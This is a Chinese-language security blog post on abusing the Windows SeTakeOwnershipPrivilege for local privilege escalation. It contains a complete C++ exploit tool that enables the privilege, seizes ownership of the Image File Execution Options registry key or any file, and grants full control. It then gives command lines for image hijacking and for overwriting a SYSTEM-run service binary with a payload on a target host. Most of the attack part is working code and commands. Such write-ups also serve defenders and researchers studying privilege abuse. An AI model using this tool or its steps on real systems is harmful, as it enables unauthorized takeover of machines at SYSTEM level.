Token Privileges Abusing - SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege SeTakeOwnershipPrivilege 特权在 Microsoft 官方文档中被描述为 “Take ownership of files or other objects”,该特权允许进程通过授予 WRITE_OWNER 访问权限来获得...

SeTakeOwnershipPrivilege

禁止任何公众号/营销号转发

SeTakeOwnershipPrivilege 特权在 Microsoft 官方文档中被描述为 “Take ownership of files or other objects”,该特权允许进程通过授予 WRITE_OWNER 访问权限来获得对象的所有权而无需被授予任意访问权限。

SeTakeOwnershipPrivilege 特权在攻击面上类似于 SeRestorePrivilege,由于可以接管任意对象,因此可以修改对象的 ACL。我们通过修改 Image File Execution Options 注册表或系统资源的 DACL,使我们拥有完全控制权限,并通过映像劫持、DLL 劫持或劫持服务等方法来获得本地特权提升。

滥用该特权,需要先调用一次 SetNamedSecurityInfoW() 函数重新设置目标对象的所有者,以获得对象的所有权,如下所示,所有者通过 Sid 来识别。

  1. // Take owner ship
  2. dwRes = SetNamedSecurityInfoW(
  3. pObjectName,
  4. ObjectType,
  5. OWNER_SECURITY_INFORMATION,
  6. pTokenUser->User.Sid,
  7. NULL,
  8. NULL,
  9. NULL
  10. );
  11. if (dwRes != ERROR_SUCCESS)
  12. {
  13. wprintf(L"[-] SetNamedSecurityInfoW Error: [%u].\n", dwRes);
  14. return status;
  15. }
  16. wprintf(L"[*] Set the owner in the object's security descriptor.\n");

然后哦,我们需要一个新的 DACL 并更新到目标对象的安全描述符中,新的 DACL 将为我们授予目标对象的完全控制权限。构建 ACL 需要构建 EXPLICIT_ACCESS 对象,并使用 SetEntriesInAclW() 函数来构建 ACL 对象,如下所示。

  1. ea[0].grfAccessPermissions = grfAccessPermissions;
  2. ea[0].grfAccessMode = SET_ACCESS;
  3. ea[0].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
  4. ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
  5. ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
  6. ea[0].Trustee.ptstrName = (LPWSTR)pTokenUser->User.Sid; // Sid of owner
  7. dwRes = SetEntriesInAclW(1, ea, pOldDACL, &pNewDACL);
  8. if (dwRes != ERROR_SUCCESS)
  9. {
  10. wprintf(L"[-] SetEntriesInAclW Error: [%u].\n", dwRes);
  11. return status;
  12. }
  13. wprintf(L"[*] Create a new access control list.\n");

最后,再一次调用 SetNamedSecurityInfoW() 函数,将上述 DACL 对象更新到目标对象中,如下所示。

  1. // Now that we are the owner, try again to modify the object's DACL.
  2. dwRes = SetNamedSecurityInfoW(
  3. pObjectName,
  4. ObjectType,
  5. DACL_SECURITY_INFORMATION,
  6. NULL,
  7. NULL,
  8. pNewDACL,
  9. NULL
  10. );
  11. if (dwRes != ERROR_SUCCESS)
  12. {
  13. wprintf(L"[-] SetNamedSecurityInfoW Error: [%u].\n", dwRes);
  14. return status;
  15. }
  16. else
  17. {
  18. wprintf(L"[*] Now that we are the owner, and modify the object's DACL.\n");
  19. status = TRUE;
  20. }

下面给出可供参考的利用代码,首先通过 AdjustTokenPrivileges() 函数为当前进程开启 SeTakeOwnershipPrivilege 特权,然后通过上述过程滥用该特权。如果执行时 -e 参数为 “Registry”,则会接管 Image File Execution Options 注册表对象。如果 -e 参数为 “File”,则可以接管关键系统文件。

  • SeTakeOwnershipPrivilege.cpp
  1. #include <Windows.h>
  2. #include <iostream>
  3. #include <stdio.h>
  4. #include <sddl.h>
  5. #include <aclapi.h>
  6. PTOKEN_USER GetTokenUserInformation(HANDLE hToken)
  7. {
  8. DWORD dwReturnLength = 0;
  9. PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(sizeof(TOKEN_USER));
  10. // Get token information, set tokenInfo.
  11. if (GetTokenInformation(hToken, TokenUser, NULL, 0, &amp;dwReturnLength) || GetLastError() == ERROR_INSUFFICIENT_BUFFER)
  12. {
  13. pTokenUser = (PTOKEN_USER)realloc(pTokenUser, dwReturnLength *= 2);
  14. if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwReturnLength, &amp;dwReturnLength))
  15. {
  16. wprintf(L"[-] Failed to get token user information.\n");
  17. CloseHandle(hToken);
  18. free(pTokenUser);
  19. return NULL;
  20. }
  21. }
  22. return pTokenUser;
  23. }
  24. BOOL ExploitSeTakeOwnershipPrivilege(HANDLE hToken, SE_OBJECT_TYPE ObjectType, LPWSTR pObjectName, DWORD grfAccessPermissions)
  25. {
  26. BOOL status = FALSE;
  27. PACL pOldDACL = NULL;
  28. PACL pNewDACL = NULL;
  29. EXPLICIT_ACCESS ea[1];
  30. PTOKEN_USER pTokenUser;
  31. LPWSTR stringSid;
  32. DWORD dwRes;
  33. pTokenUser = GetTokenUserInformation(hToken);
  34. dwRes = GetNamedSecurityInfoW(
  35. (LPCWSTR)pObjectName,
  36. ObjectType,
  37. DACL_SECURITY_INFORMATION,
  38. NULL,
  39. NULL,
  40. &amp;pOldDACL,
  41. NULL,
  42. NULL
  43. );
  44. if (dwRes != ERROR_SUCCESS)
  45. {
  46. printf("[-] GetNamedSecurityInfoW Error: [%u].\n", dwRes);
  47. return status;
  48. }
  49. wprintf(L"[*] Get a copy of the security descriptor for the object.\n");
  50. // Take owner ship
  51. dwRes = SetNamedSecurityInfoW(
  52. pObjectName,
  53. ObjectType,
  54. OWNER_SECURITY_INFORMATION,
  55. pTokenUser->User.Sid,
  56. NULL,
  57. NULL,
  58. NULL
  59. );
  60. if (dwRes != ERROR_SUCCESS)
  61. {
  62. wprintf(L"[-] SetNamedSecurityInfoW Error: [%u].\n", dwRes);
  63. return status;
  64. }
  65. wprintf(L"[*] Set the owner in the object's security descriptor.\n");
  66. ea[0].grfAccessPermissions = grfAccessPermissions;
  67. ea[0].grfAccessMode = SET_ACCESS;
  68. ea[0].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
  69. ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
  70. ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
  71. ea[0].Trustee.ptstrName = (LPWSTR)pTokenUser->User.Sid; // Sid of owner
  72. dwRes = SetEntriesInAclW(1, ea, pOldDACL, &amp;pNewDACL);
  73. if (dwRes != ERROR_SUCCESS)
  74. {
  75. wprintf(L"[-] SetEntriesInAclW Error: [%u].\n", dwRes);
  76. return status;
  77. }
  78. wprintf(L"[*] Create a new access control list.\n");
  79. // Now that we are the owner, try again to modify the object's DACL.
  80. dwRes = SetNamedSecurityInfoW(
  81. pObjectName,
  82. ObjectType,
  83. DACL_SECURITY_INFORMATION,
  84. NULL,
  85. NULL,
  86. pNewDACL,
  87. NULL
  88. );
  89. if (dwRes != ERROR_SUCCESS)
  90. {
  91. wprintf(L"[-] SetNamedSecurityInfoW Error: [%u].\n", dwRes);
  92. return status;
  93. }
  94. else
  95. {
  96. wprintf(L"[*] Now that we are the owner, and modify the object's DACL.\n");
  97. status = TRUE;
  98. }
  99. return status;
  100. }
  101. BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName)
  102. {
  103. BOOL status = FALSE;
  104. LUID luidValue = { 0 };
  105. TOKEN_PRIVILEGES tokenPrivileges;
  106. // Get the LUID value of the privilege for the local system
  107. if (!LookupPrivilegeValueW(NULL, lpName, &amp;luidValue))
  108. {
  109. wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
  110. return status;
  111. }
  112. // Set escalation information
  113. tokenPrivileges.PrivilegeCount = 1;
  114. tokenPrivileges.Privileges[0].Luid = luidValue;
  115. tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  116. // Elevate Process Token Access
  117. if (!AdjustTokenPrivileges(hToken, FALSE, &amp;tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL))
  118. {
  119. wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
  120. return status;
  121. }
  122. else
  123. {
  124. status = TRUE;
  125. }
  126. return status;
  127. }
  128. void PrintUsage()
  129. {
  130. wprintf(
  131. L"Abuse of SeTakeOwnershipPrivilege by @WHOAMI (whoamianony.top)\n\n"
  132. L"Arguments:\n"
  133. L" -h Show this help message and exit\n"
  134. L" -e <Registry, File> Specifies the type of object\n"
  135. L" -t <ObjectName> Specifies the name of object\n"
  136. );
  137. }
  138. int wmain(int argc, wchar_t* argv[])
  139. {
  140. HANDLE hToken = NULL;
  141. LPCWSTR lpObjectType = L"Registry";
  142. LPCWSTR lpObjectName = L"MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";
  143. SE_OBJECT_TYPE seObjectType = SE_REGISTRY_KEY;
  144. DWORD grfAccessPermissions = KEY_ALL_ACCESS;
  145. while ((argc > 1) &amp;&amp; (argv[1][0] == '-'))
  146. {
  147. switch (argv[1][1])
  148. {
  149. case 'h':
  150. PrintUsage();
  151. return 0;
  152. case 'e':
  153. ++argv;
  154. --argc;
  155. if (argc > 1 &amp;&amp; argv[1][0] != '-')
  156. {
  157. lpObjectType = (LPCWSTR)argv[1];
  158. if (!wcscmp(lpObjectType, L"Registry"))
  159. {
  160. seObjectType = SE_REGISTRY_KEY;
  161. grfAccessPermissions = KEY_ALL_ACCESS;
  162. }
  163. if (!wcscmp(lpObjectType, L"File"))
  164. {
  165. seObjectType = SE_FILE_OBJECT;
  166. grfAccessPermissions = GENERIC_ALL;
  167. }
  168. }
  169. break;
  170. case 't':
  171. ++argv;
  172. --argc;
  173. if (argc > 1 &amp;&amp; argv[1][0] != '-')
  174. {
  175. lpObjectName = (LPCWSTR)argv[1];
  176. }
  177. break;
  178. default:
  179. wprintf(L"[-] Invalid Argument: %s.\n", argv[1]);
  180. PrintUsage();
  181. return 0;
  182. }
  183. ++argv;
  184. --argc;
  185. }
  186. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &amp;hToken))
  187. {
  188. wprintf(L"[-] OpenProcessToken Error: [%u].\n", GetLastError());
  189. return 0;
  190. }
  191. // Enable SeTakeOwnershipPrivilege for the current process token.
  192. if (EnableTokenPrivilege(hToken, SE_TAKE_OWNERSHIP_NAME))
  193. {
  194. if (ExploitSeTakeOwnershipPrivilege(hToken, seObjectType, (LPWSTR)lpObjectName, grfAccessPermissions))
  195. {
  196. return 1;
  197. }
  198. }
  199. }

将编译并生成好的 SeTakeOwnershipPrivilege.exe 上传到目标主机,执行以下命令接管 Image File Execution Options 注册表对象,然后直接通过 reg 命令设置映像劫持即可,如下图所示。

  1. SeTakeOwnershipPrivilege.exe -e "Registry" -t "MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

image-20230214192438120

如下图所示,可以看到,SeTakeOwnershipPrivilege.exe 执行后 Image File Execution Options 注册表项的所有者变成了 Marcus 用户,并且对其拥有完全控制权限,如下图所示。

image-20230214192003442

此外,如果我们指定 -e 为 ”File“,则可以接管任意文件。假设 TestSrv 是一个以 NT AUTHORITY\SYSTEM 权限运行的服务,其二进制文件路径为 ”C:\Program Files\TestService\TestSrv.exe“。执行以下命令,接管该服务的二进制文件并将其覆盖为攻击载荷,如下图所示。

  1. .\\SeTakeOwnershipPrivilege.exe -e "File" -t "C:\Program Files\TestService\TestSrv.exe"

image-20230214194658736

当系统或服务重启时,目标系统上线,并且为 NT AUTHORITY\SYSTEM 权限,如下图所示。

image-20230214195126644

  • 发表于 2023-07-12 09:00:00
  • 阅读 ( 5254 )
  • 分类:漏洞分析

0 条评论

Marcus_Holloway
Marcus_Holloway

22 篇文章

站长统计